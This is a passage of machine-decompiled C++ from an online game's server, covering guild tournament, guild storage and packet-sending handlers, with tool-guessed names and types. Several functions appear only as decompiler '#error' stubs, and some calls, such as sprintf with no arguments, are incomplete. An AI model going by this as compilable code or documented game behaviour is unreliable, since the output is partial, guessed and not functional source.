FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_CHAR_ZONE_LINK_FROM_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_CHAR_ZONE_LINK_FROM_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (int)ShineObjectManager::som_FindPlayer(&shineobjmanager, *(_DWORD *)&netcmd[4].protocol); if ( v3 ) { v4 = operator new(0x6Cu); if ( v4 ) RollBackPosCallBackEvent::RollBackPosCallBackEvent( (RollBackPosCallBackEvent *)v4, (Name3 *)&netcmd[6], (Name3 *)&netcmd[6], *(_DWORD *)&netcmd[12].protocol, *(_DWORD *)&netcmd[14].protocol); else v5 = 0; ShineObjectClass::ShinePlayer::sp_SetRollBackPosEvent(v3, v5); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_CHAR_ZONE_LINK_FROM_CMD"); } //----- (00455380) -------------------------------------------------------- #error "455380: undefined or illegal type '#325' (funcsize=104)" //----- (00455510) -------------------------------------------------------- signed __int16 __thiscall ShineObjectClass::ShinePlayer::so_ply_GuildTournamentJoinNew(void *this, int pReq) { void *v2; // esi@1 signed __int16 result; // ax@2 int v4; // eax@3 int v5; // edi@3 unsigned int v6; // edx@3 char *v7; // edi@5 int v8; // eax@5 int v9; // edi@5 int v10; // ebp@5 int v11; // eax@5 int v12; // eax@5 InventoryLocking::InventoryCellLock *v13; // eax@5 ZoneBaseSession *v14; // eax@7 InventoryLocking::ReservedQuantity reserv; // [sp+4h] [bp-14h]@3 v2 = this; if ( (*(int (**)(void))(*(_DWORD *)this + 1980))() ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); (*(void (__thiscall **)(int, InventoryLocking::ReservedQuantity *))(*(_DWORD *)v4 + 80))(v4, &reserv); v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1056))(v2); if ( reserv.cen + __PAIR__(v6, v5) >= *(_QWORD *)(pReq + 17) ) { v7 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29925; *((_WORD *)v7 + 1) = *((_WORD *)v2 + 2); *((_DWORD *)v7 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 836))(v2); v8 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); *((_WORD *)v7 + 4) = ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(v8); *((_WORD *)v7 + 5) = *(_WORD *)pReq; *((_DWORD *)v7 + 3) = *(_DWORD *)(pReq + 2); *((_DWORD *)v7 + 4) = *(_DWORD *)(pReq + 6); *((_DWORD *)v7 + 5) = *(_DWORD *)(pReq + 10); v7[24] = *(_BYTE *)(pReq + 14); *(_WORD *)(v7 + 25) = *(_WORD *)(pReq + 15); *(_DWORD *)(v7 + 27) = *(_DWORD *)(pReq + 17); *(_DWORD *)(v7 + 31) = *(_DWORD *)(pReq + 21); v9 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1916))(v2); v10 = *(_DWORD *)v9; v11 = (*(int (__thiscall **)(void *, _DWORD, _DWORD, signed int))(*(_DWORD *)v2 + 1916))( v2, *(_DWORD *)(pReq + 17), *(_DWORD *)(pReq + 21), -1); LOWORD(v12) = ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter(v11); (*(void (__thiscall **)(int, int))(v10 + 56))(v9, v12); v13 = (InventoryLocking::InventoryCellLock *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 1916))(v2); InventoryLocking::InventoryCellLock::icl_IncIndex(v13); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 35) ) { v14 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v14); result = 7232; } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_ply_GuildTournamentJoinNew : Packet Too Long", 35); result = 7232; } } else { result = 7236; } } else { result = 7234; } return result; } //----- (00455680) -------------------------------------------------------- #error "455680: undefined or illegal type '#325' (funcsize=135)" //----- (00455860) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_TOURNAMENT_GOLD_REFUND_ZONE_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_GOLD_REFUND_ZONE_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_GOLD_REFUND_ZONE_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_GOLD_REFUND_ZONE_CMD"); } //----- (004558B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_OBSERVER_ENTER_REQ(int this, int netcmd, int len, __int16 handle) { char v4; // dl@1 char *v5; // eax@1 ZoneBaseSession *v6; // eax@3 v4 = *(_BYTE *)(netcmd + 2); v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29913; v5[2] = v4; *(_WORD *)(v5 + 3) = *(_WORD *)(this + 4); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 5) ) { v6 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v6); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_OBSERVER_ENTER_REQ : Packet Too Long", 5); } } //----- (00455910) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_OBSERVER_OUT_REQ(int this, int netcmd, int len, __int16 handle) { int v4; // esi@1 int v5; // ecx@2 v4 = this; if ( !ShineObjectClass::ShinePlayer::sp_RunRollBackPosEvent(this) ) { v5 = *(_DWORD *)(v4 + 98); if ( v5 ) { if ( FieldMap::fm_IsGuildTournametnMap(v5) ) ShineObjectClass::ShinePlayer::sp_2Roumen((void *)v4); } } } //----- (00455940) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_FlagCaptureFree(void *this) { int v1; // esi@1 v1 = (int)this; if ( *((_WORD *)this + 11803) != -1 ) { *((_WORD *)this + 11803) = -1; *((_DWORD *)this + 23041) = 0; *((_DWORD *)this + 23042) = ShineObjectClass::ShineObject::so_mob_SetWeaponAniTime; *((_DWORD *)this + 23045) = ShineObjectClass::ShineObject::so_mh_PortalOpen; *((_DWORD *)this + 23044) = 0; (*(void (__stdcall **)(_DWORD, _DWORD))(*(_DWORD *)this + 772))(8, 72); ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_FLAGCAPTURE_CMD(v1, 6993); } } //----- (004559A0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_FlagCaptureFreeCheck(int this, __int16 hFlag) { if ( *(_WORD *)(this + 23606) == hFlag ) ShineObjectClass::ShinePlayer::sp_FlagCaptureFree((void *)this); } //----- (004559C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_USESKILL_ACK(void *this, __int16 nType) { ShineObjectClass::ShinePlayer::sp_NC_GUILD_TOURNAMENT_USESKILL(this, nType, 65535); } //----- (004559E0) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_GuildTournamantStart(WorldManagerSession *this, PROTO_NC_GUILD_TOURNAMENT_START_CMD *gt_start) { int v2; // eax@1 const char *v3; // esi@2 int v4; // edi@7 int v5; // ecx@8 char *v6; // eax@8 int v7; // ecx@8 int v8; // edx@8 int v9; // eax@8 int v10; // ecx@8 unsigned int v11; // edx@8 int v12; // eax@11 int v13; // ecx@12 char *v14; // eax@12 int v15; // ecx@12 int v16; // edx@12 unsigned int v17; // edx@12 int v18; // ecx@12 unsigned int v19; // eax@12 int v20; // edx@12 char *v21; // eax@12 int v22; // edx@12 char *v23; // edi@12 ZoneBaseSession *v24; // eax@14 ZoneBaseSession *v25; // eax@17 unsigned int v26; // eax@19 List *v27; // edi@23 unsigned __int16 v28; // si@23 unsigned __int16 v29; // dx@24 ListStruct *v30; // ecx@25 int v31; // eax@25 bool v32; // cf@25 int v33; // eax@26 int v34; // eax@27 int v35; // [sp-Ch] [bp-684h]@16 int v36; // [sp+8h] [bp-670h]@7 int v37; // [sp+Ch] [bp-66Ch]@9 ListIteratorDefault arg; // [sp+10h] [bp-668h]@7 List *v39; // [sp+14h] [bp-664h]@7 int (__thiscall *v40)(int, int, __int16, int); // [sp+18h] [bp-660h]@7 char *v41; // [sp+1Ch] [bp-65Ch]@7 int v42; // [sp+20h] [bp-658h]@7 __int16 v43; // [sp+24h] [bp-654h]@7 FunctionEntarance _; // [sp+28h] [bp-650h]@1 ListTraveler lt; // [sp+2Ch] [bp-64Ch]@25 char v46; // [sp+38h] [bp-640h]@7 PineScriptToken initval; // [sp+160h] [bp-518h]@12 char buffer[1024]; // [sp+260h] [bp-418h]@12 unsigned int cookie; // [sp+664h] [bp-14h]@6 int v50; // [sp+674h] [bp-4h]@1 _.fe_FunctionCode = "WorldManagerSession::wms_GuildTournamantStart"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_GuildTournamantStart"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_GuildTournamantStart"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_BYTE *)>Map + 13 * gt_start->nTournamentMapNo); v50 = 0; if ( v2 < dword_C3BCEEC ) v3 = *(const char **)(dword_C3BCEE8 + 4 * v2); else v3 = 0; if ( v3 != 0 ) { FieldMap::FieldMap(&v46); arg.vfptr = (ListIteratorDefaultVtbl *)&ListSearchSame::_vftable_; v39 = &fieldlist; v40 = FieldMap::fm_Compare; v41 = &v46; v42 = 0; v43 = -1; LOBYTE(v50) = 2; List::l_4AllInList((List *)&fieldlist, &arg); v4 = v42; LOBYTE(v50) = 1; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; v36 = v42; if ( v42 ) { v37 = v42 + 152; if ( *(_BYTE *)(v42 + 152) != -1 ) { AssertClass::ac_AssertFail( &shineassert, "WorldManagerSession::wms_GuildTournamantStart : seed not empty. May be RE-Match.", 1); *(&guildtournamentinfo.gta_Struct.nTournamentSeed + 36 * *(_BYTE *)v37) = -1; *(&guildtournamentinfo.gta_MatchStartTime + 9 * *(_BYTE *)v37) = 0; *(_BYTE *)v37 = -1; if ( FieldMap::fm_GetGuildTournamentSystem((void *)v4) ) { v12 = FieldMap::fm_GetGuildTournamentSystem((void *)v4); GuildTournamentSystem::Clear((GuildTournamentSystem *)v12); } } *(_BYTE *)v37 = gt_start->nTournamentSeed; *(_DWORD *)(v4 + 160) = 0; *(_DWORD *)(v4 + 156) = 0; v13 = 36 * gt_start->nTournamentSeed + 210706584; *((_DWORD *)&guildtournamentinfo.gta_Struct.nTournamentSeed + 9 * gt_start->nTournamentSeed) = *(_DWORD *)>_start->nTournamentSeed; *(_DWORD *)(v13 + 4) = *(_DWORD *)((char *)>_start->nExploerTimeMin + 1); *(_DWORD *)(v13 + 8) = *(_DWORD *)((char *)>_start->nPlayTimeMin + 1); *(_DWORD *)(v13 + 12) = *(unsigned int *)((char *)>_start->nNo1 + 3); *(_BYTE *)(v13 + 16) = BYTE3(gt_start->nNo2); v14 = &byte_C8F1EF9[13 * gt_start->nTournamentSeed]; v15 = 9 * gt_start->nTournamentSeed; *(_DWORD *)&guildtournamentinfo.gta_Field.n3_name[36 * gt_start->nTournamentSeed] = *(_DWORD *)v14; v16 = *((_DWORD *)v14 + 1); *(_DWORD *)&guildtournamentinfo.gta_Field.n3_name[4 * v15 + 8] = *((_DWORD *)v14 + 2); *(_DWORD *)&guildtournamentinfo.gta_Field.n3_name[4 * v15 + 4] = v16; *(&guildtournamentinfo.gta_MatchStartTime + 9 * gt_start->nTournamentSeed) = clockwatch.cw_CurrTick; v17 = namestring.ns_point.mask; *(&guildtournamentinfo.gta_Result2WMS + 36 * gt_start->nTournamentSeed) = 0; v18 = 36 * gt_start->nTournamentSeed + 210706601; v19 = v17 & (namestring.ns_point.value + 1); v20 = *(_DWORD *)&guildtournamentinfo.gta_Field.n3_name[36 * gt_start->nTournamentSeed]; namestring.ns_point.value = v19; v21 = (char *)&namestring + 256 * v19; *(_DWORD *)v21 = v20; v22 = *(_DWORD *)(v18 + 4); *((_DWORD *)v21 + 2) = *(_DWORD *)(v18 + 8); *((_DWORD *)v21 + 1) = v22; v21[12] = 0; sprintf( buffer, "%s %d %d %d %d %d %d %d %d %s %d %d %d %s %d %d %d %s %d %d %d %d %d %d %s %d %d %d %s %d %d %d %s %d %d %d"); memset(buffer, 0, sizeof(buffer)); sprintf(buffer, "%d %d %d %d"); FieldMap::fm_ClearObject((void *)v36, 0x3B0u); Movie::CinemaComplex::cc_DropFilm(*(Movie::CinemaComplex **)(v36 + 68), "Guild/GuildTournament"); PineScriptToken::PineScriptToken(&initval, buffer); LOBYTE(v50) = 3; Movie::CinemaComplex::cc_PlayFilm(*(Movie::CinemaComplex **)(v36 + 68), "Guild/GuildTournament", &initval); v23 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29894; v23[2] = gt_start->nTournamentSeed; *(_DWORD *)(v23 + 3) = gt_start->nNo1; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 7) ) { v24 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v24); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::wms_GuildTournamantStart : Packet Too Long", 7); } *(_DWORD *)(v23 + 3) = gt_start->nNo2; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 7) ) { v25 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v25); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::wms_GuildTournamantStart : Packet Too Long", 7); } FieldMap::fm_CreateGuildTournamentSystem( v36, gt_start->nNo1, gt_start->nNo2, *((_BYTE *)>Map + 13 * gt_start->nTournamentSeed), v35); LOBYTE(v50) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&initval); } else { v5 = 36 * gt_start->nTournamentSeed + 210706584; *((_DWORD *)&guildtournamentinfo.gta_Struct.nTournamentSeed + 9 * gt_start->nTournamentSeed) = *(_DWORD *)>_start->nTournamentSeed; *(_DWORD *)(v5 + 4) = *(_DWORD *)((char *)>_start->nExploerTimeMin + 1); *(_DWORD *)(v5 + 8) = *(_DWORD *)((char *)>_start->nPlayTimeMin + 1); *(_DWORD *)(v5 + 12) = *(unsigned int *)((char *)>_start->nNo1 + 3); *(_BYTE *)(v5 + 16) = BYTE3(gt_start->nNo2); v6 = &byte_C8F1EF9[13 * gt_start->nTournamentSeed]; v7 = 9 * gt_start->nTournamentSeed; *(_DWORD *)&guildtournamentinfo.gta_Field.n3_name[36 * gt_start->nTournamentSeed] = *(_DWORD *)v6; v8 = *((_DWORD *)v6 + 1); v9 = *((_DWORD *)v6 + 2); v10 = 4 * v7 + 210706601; *(_DWORD *)(v10 + 4) = v8; v11 = clockwatch.cw_CurrTick; *(_DWORD *)(v10 + 8) = v9; *(&guildtournamentinfo.gta_MatchStartTime + 9 * gt_start->nTournamentSeed) = v11; *(&guildtournamentinfo.gta_Result2WMS + 36 * gt_start->nTournamentSeed) = 0; } LOBYTE(v50) = 0; FieldMap::_FieldMap((int)&v46); v26 = BTree::operator__(&mapdatabox.mdb_btree, v3); if ( v26 == -1 ) LOWORD(v26) = -1; v26 = (unsigned __int16)v26; if ( (unsigned __int16)v26 < mapdatabox.mdb_maxmapid && mapdatabox.mdb_index[v26] ) { v27 = dword_124E32CC; v28 = dword_124E32CC->l_Array[dword_124E32CC->l_Finger.store].ls_Next; while ( 1 ) { v29 = v27->l_MaxSize; if ( v28 >= v29 ) break; v30 = v27->l_Array; v31 = v28; lt.lt_CurrElement = v28; v32 = v28 < v29; v28 = v30[v28].ls_Next; if ( v32 && (v33 = (int)&v30[v31], *(_BYTE *)(v33 + 8)) ) v34 = *(_DWORD *)v33; else v34 = 0; (*(void (__thiscall **)(int, PROTO_NC_GUILD_TOURNAMENT_START_CMD *, _DWORD))(*(_DWORD *)v34 + 2252))( v34, gt_start, gt_start->nTournamentSeed); } } } else { AssertClass::ac_AssertFail(&shineassert, "const FieldOption::GuildTournamentMapStr *gtms NULL", 0); } --funcallanalizer.fca_stackpoint; v50 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "WorldManagerSession::wms_GuildTournamantStart"); __security_check_cookie(cookie); } // 4486A0: using guessed type int __thiscall FieldMap__fm_CreateGuildTournamentSystem(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // 448C10: using guessed type int __thiscall FieldMap__FieldMap(_DWORD); // 5B32A0: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, int handle); // 5BD578: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); // C3BCEE8: using guessed type int dword_C3BCEE8; // C3BCEEC: using guessed type int dword_C3BCEEC; // C8F1EF8: using guessed type struct __unnamed *GTMap; //----- (00455FE0) -------------------------------------------------------- int __usercall ShineObjectClass::ShinePlayer::so_ply_GuildStorageDeactivate(int a1, unsigned __int16 *a2) { int v2; // esi@1 int v3; // eax@4 unsigned int v4; // eax@4 GuildStorage::GuildStorageElement *v5; // ebp@4 __int16 v6; // di@5 int v7; // eax@5 int result; // eax@9 ShineGuildStorageDeactive sgsd; // [sp+0h] [bp-1Ch]@5 unsigned int v10; // [sp+10h] [bp-Ch]@5 signed int v11; // [sp+1Ch] [bp+0h]@5 v2 = a1; if ( (*(int (**)(void))(*(_DWORD *)a1 + 1980))() && (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2004))(v2) && *(_WORD *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2004))(v2) != -1 ) { v3 = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2004))(v2); v4 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v2 + 1980))(v2, v3); v5 = GuildStorage::GuildStorageManager::gsm_FindStorage(&gldstoramanager, v4, a2); if ( v5 ) { v6 = *(_WORD *)(*(int (__thiscall **)(int))(*(_DWORD *)v2 + 2004))(v2); v7 = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1980))(v2); sgsd.sgsd_GuildNo = (unsigned int)&ShineGuildStorageDeactive::_vftable_; *(_DWORD *)&sgsd.sgsd_hnd = v7; LOWORD(sgsd.sgsd_DetectUseGuildStorage) = v6; v10 = 0; v11 = 0; List::l_4AllInList(dword_124E32CC, (ListIteratorDefault *)&sgsd.sgsd_GuildNo); if ( v10 <= 1 ) GuildStorage::GuildStorageElement::gse_Deactivate(v5); v11 = -1; sgsd.sgsd_GuildNo = (unsigned int)&ListIteratorDefault::_vftable_; } (*(void (__thiscall **)(int))(*(_DWORD *)v2 + 2008))(v2); } result = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2004))(v2); if ( result ) { result = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2004))(v2); if ( *(_WORD *)result != -1 ) result = (*(int (__thiscall **)(int, signed int))(*(_DWORD *)v2 + 2008))(v2, 65535); } return result; } // 455FE0: could not find valid save-restore pair for ebp // 5B14FC: using guessed type int (__stdcall *ShineGuildStorageDeactive___vftable_)(int, __int16 handle); // 5BD578: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (00456110) -------------------------------------------------------- #error "456110: undefined or illegal type '#434' (funcsize=76)" //----- (00456240) -------------------------------------------------------- #error "456240: undefined or illegal type '#585' (funcsize=69)" //----- (00456370) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_WORLD_USE_GUILD_TOKEN_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { NETCOMMAND *v3; // edi@1 GuildStorage::GuildStorageElement *v4; // eax@1 GuildStorage::GuildStorageElement *v5; // esi@1 unsigned int v6; // ebx@6 unsigned int v7; // edi@6 unsigned __int64 v8; // qax@6 unsigned __int64 v9; // [sp-14h] [bp-24h]@4 char *v10; // [sp-10h] [bp-20h]@9 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_WORLD_USE_GUILD_TOKEN_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_WORLD_USE_GUILD_TOKEN_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = netcmd; v4 = GuildStorage::GuildStorageManager::gsm_FindStorage( &gldstoramanager, *(_DWORD *)&netcmd[1].protocol, (unsigned __int16 *)&netcmd); v5 = v4; if ( v4 && v4->gse_Guild == *(_DWORD *)&v3[1].protocol ) { if ( GuildStorage::GuildStorageElement::gse_GetToken(v4) >= *(_QWORD *)&v3[3].protocol ) v9 = GuildStorage::GuildStorageElement::gse_GetToken(v5) - *(_QWORD *)&v3[3].protocol; else v9 = 0i64; GuildStorage::GuildStorageElement::gse_SetToken(v5, v9); v6 = *(_DWORD *)&v3[7].protocol; v7 = *(_DWORD *)&v3[9].protocol; v8 = GuildStorage::GuildStorageElement::gse_GetToken(v5); if ( (_DWORD)v8 != v6 || HIDWORD(v8) != v7 ) GuildStorage::GuildStorageElement::gse_SetToken(v5, __PAIR__(v7, v6)); v10 = "WorldManagerSession::wms_NC_GUILD_WORLD_USE_GUILD_TOKEN_CMD"; } else { v10 = "WorldManagerSession::wms_NC_GUILD_WORLD_USE_GUILD_TOKEN_CMD"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v10); } //----- (00456480) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::append(std::basic_string,std::allocator > *this, std::basic_string,std::allocator > *_Right, unsigned int _Roff, unsigned int _Count) { std::basic_string,std::allocator > *v4; // ebx@1 unsigned int v5; // esi@3 unsigned int v6; // ebp@8 unsigned int v7; // eax@10 bool v8; // cf@11 bool v9; // zf@11 char *v10; // edi@14 std::basic_string,std::allocator > *result; // eax@17 int v12; // edx@20 int v13; // eax@21 v4 = this; if ( _Right->_Mysize < _Roff ) std::_String_base::_Xran(&this->baseclass_0.___u0.baseclass_0); v5 = _Count; if ( _Right->_Mysize - _Roff < _Count ) v5 = _Right->_Mysize - _Roff; if ( -1 - this->_Mysize <= v5 ) std::_String_base::_Xlen(&this->baseclass_0.___u0.baseclass_0); if ( !v5 ) return v4; v6 = v5 + this->_Mysize; if ( v6 > 0xFFFFFFFE ) std::_String_base::_Xlen(&this->baseclass_0.___u0.baseclass_0); v7 = this->_Myres; if ( v7 < v6 ) { std::basic_string_std::allocator>::_Copy(this, v6, this->_Mysize); v8 = 0; v9 = v6 == 0; goto LABEL_12; } v8 = 0; v9 = v6 == 0; if ( v6 ) { LABEL_12: if ( !(v8 | v9) ) { if ( _Right->_Myres < 0x10 ) v10 = (char *)&_Right->_Bx; else v10 = *(char **)&_Right->_Bx._Buf[0]; v12 = (int)&v4->_Bx; if ( v4->_Myres < 0x10 ) v13 = (int)&v4->_Bx; else v13 = *(_DWORD *)v12; memcpy((void *)(v13 + v4->_Mysize), &v10[_Roff], v5); v8 = v4->_Myres < 0x10; v4->_Mysize = v6; if ( !v8 ) v12 = *(_DWORD *)v12; *(_BYTE *)(v12 + v6) = 0; } return v4; } this->_Mysize = 0; if ( v7 < 0x10 ) { this->_Bx._Buf[0] = 0; result = this; } else { **(_BYTE **)&this->_Bx._Buf[0] = 0; result = this; } return result; } //----- (00456570) -------------------------------------------------------- void __thiscall WorldManagerSession::wms_NC_GUILD_TOURNAMENT_START_CMD(WorldManagerSession *this, NETCOMMAND *netcmd, int len) { WorldManagerSession *v3; // edi@1 PROTO_NC_GUILD_TOURNAMENT_START_CMD *v4; // esi@1 int v5; // ecx@1 char v6; // dl@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_START_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_START_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (PROTO_NC_GUILD_TOURNAMENT_START_CMD *)&netcmd[1]; v5 = LOBYTE(netcmd[1].protocol); if ( LOBYTE(netcmd[1].protocol) <= 0x20u ) { v6 = *(&guildtournamentinfo.gta_Struct.nTournamentSeed + 36 * v5); if ( v6 != -1 ) { AssertClass::ac_AssertFail( &shineassert, "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_START_CMD : Seed not empty. May be RE-Match.", v6 == -1); *(&guildtournamentinfo.gta_Struct.nTournamentSeed + 36 * v4->nTournamentSeed) = -1; } *(unsigned __int16 *)((char *)&netcmd[1].protocol + 1) = *((_BYTE *)>Map + 13 * LOBYTE(netcmd[1].protocol)); WorldManagerSession::wms_GuildTournamantStart(v3, v4); } else { AssertClass::ac_AssertFail( &shineassert, "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_START_CMD : Invalid seed", v5); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "WorldManagerSession::wms_NC_GUILD_TOURNAMENT_START_CMD"); } // C8F1EF8: using guessed type struct __unnamed *GTMap; //----- (00456680) -------------------------------------------------------- #error "456680: undefined or illegal type '#325' (funcsize=45)" //----- (00456700) -------------------------------------------------------- #error "456700: undefined or illegal type '#325' (funcsize=31)" //----- (00456760) -------------------------------------------------------- #error "456760: undefined or illegal type '#325' (funcsize=33)" //----- (004567D0) -------------------------------------------------------- std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::append(std::basic_string,std::allocator > *this, const char *_Ptr, unsigned int _Count) { std::basic_string,std::allocator > *v3; // ebx@1 unsigned int v4; // edx@1 char *v5; // eax@2 char *v6; // eax@5 char *v7; // ecx@6 std::basic_string,std::allocator > *result; // eax@11 unsigned int v9; // ebp@15 unsigned int v10; // eax@17 bool v11; // cf@18 bool v12; // zf@18 int v13; // eax@21 v3 = this; v4 = this->_Myres; if ( v4 < 0x10 ) v5 = (char *)&this->_Bx; else v5 = *(char **)&this->_Bx._Buf[0]; if ( _Ptr < v5 || ((v6 = (char *)&this->_Bx, v4 < 0x10) ? (v7 = (char *)&this->_Bx) : (v7 = *(char **)v6), &v7[v3->_Mysize] <= _Ptr) ) { if ( -1 - v3->_Mysize <= _Count ) std::_String_base::_Xlen(&v3->baseclass_0.___u0.baseclass_0); if ( _Count ) { v9 = _Count + v3->_Mysize; if ( v9 > 0xFFFFFFFE ) std::_String_base::_Xlen(&v3->baseclass_0.___u0.baseclass_0); v10 = v3->_Myres; if ( v10 >= v9 ) { v11 = 0; v12 = v9 == 0; if ( !v9 ) { v3->_Mysize = 0; if ( v10 < 0x10 ) { v3->_Bx._Buf[0] = 0; result = v3; } else { **(_BYTE **)&v3->_Bx._Buf[0] = 0; result = v3; } return result; } } else { std::basic_string_std::allocator>::_Copy(v3, v9, v3->_Mysize); v11 = 0; v12 = v9 == 0; } if ( !(v11 | v12) ) { if ( v3->_Myres < 0x10 ) v13 = (int)&v3->_Bx; else v13 = *(_DWORD *)&v3->_Bx._Buf[0]; memcpy((void *)(v13 + v3->_Mysize), _Ptr, _Count); v11 = v3->_Myres < 0x10; v3->_Mysize = v9; if ( !v11 ) { *(_BYTE *)(*(_DWORD *)&v3->_Bx._Buf[0] + v9) = 0; return v3; } v3->_Bx._Buf[v9] = 0; } } return v3; } if ( v4 >= 0x10 ) v6 = *(char **)v6; return std::basic_string_std::allocator>::append(v3, v3, _Ptr - v6, _Count); } //----- (004568E0) -------------------------------------------------------- #error "4568E0: undefined or illegal type '#325' (funcsize=206)" //----- (00456B90) -------------------------------------------------------- #error "456B90: undefined or illegal type '#325' (funcsize=84)" //----- (00456CC0) -------------------------------------------------------- #error "456CC0: undefined or illegal type '#325' (funcsize=84)" //----- (00456DF0) -------------------------------------------------------- FieldOption::GuildTournamentMapStr *__thiscall GuildTouramentLoginDataInfo::GetFieldGTMapInfo(GuildTouramentLoginDataInfo *this, #434 *pPlayer) { int v2; // eax@1 FieldOption::GuildTournamentMapStr *v3; // esi@2 v2 = *((_BYTE *)>Map + 13 * this->gta_Struct.nTournamentMapNo); if ( v2 >= dword_C3BCEEC ) { v3 = 0; LABEL_4: _ErrorSendPlayer( (#325 *)pPlayer, 5185, "GuildTouramentLoginDataInfo::GetFieldGTMapInfo"); return v3; } v3 = *(FieldOption::GuildTournamentMapStr **)(dword_C3BCEE8 + 4 * v2); if ( !v3 ) goto LABEL_4; return v3; } // C3BCEE8: using guessed type int dword_C3BCEE8; // C3BCEEC: using guessed type int dword_C3BCEEC; // C8F1EF8: using guessed type struct __unnamed *GTMap; //----- 